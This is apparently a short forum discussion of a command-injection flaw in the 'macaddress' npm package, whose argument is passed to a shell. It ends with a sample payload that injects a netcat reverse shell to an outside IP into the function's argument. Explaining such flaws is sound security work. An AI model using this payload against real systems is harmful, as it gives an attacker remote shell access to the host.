In what scenarios could this be abused?
Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app.
This package has nearly 100M downloads a year which is pretty astonishing.
The more worrying fact is something like this which could easily be drawn in to 100m installs.
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.
macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})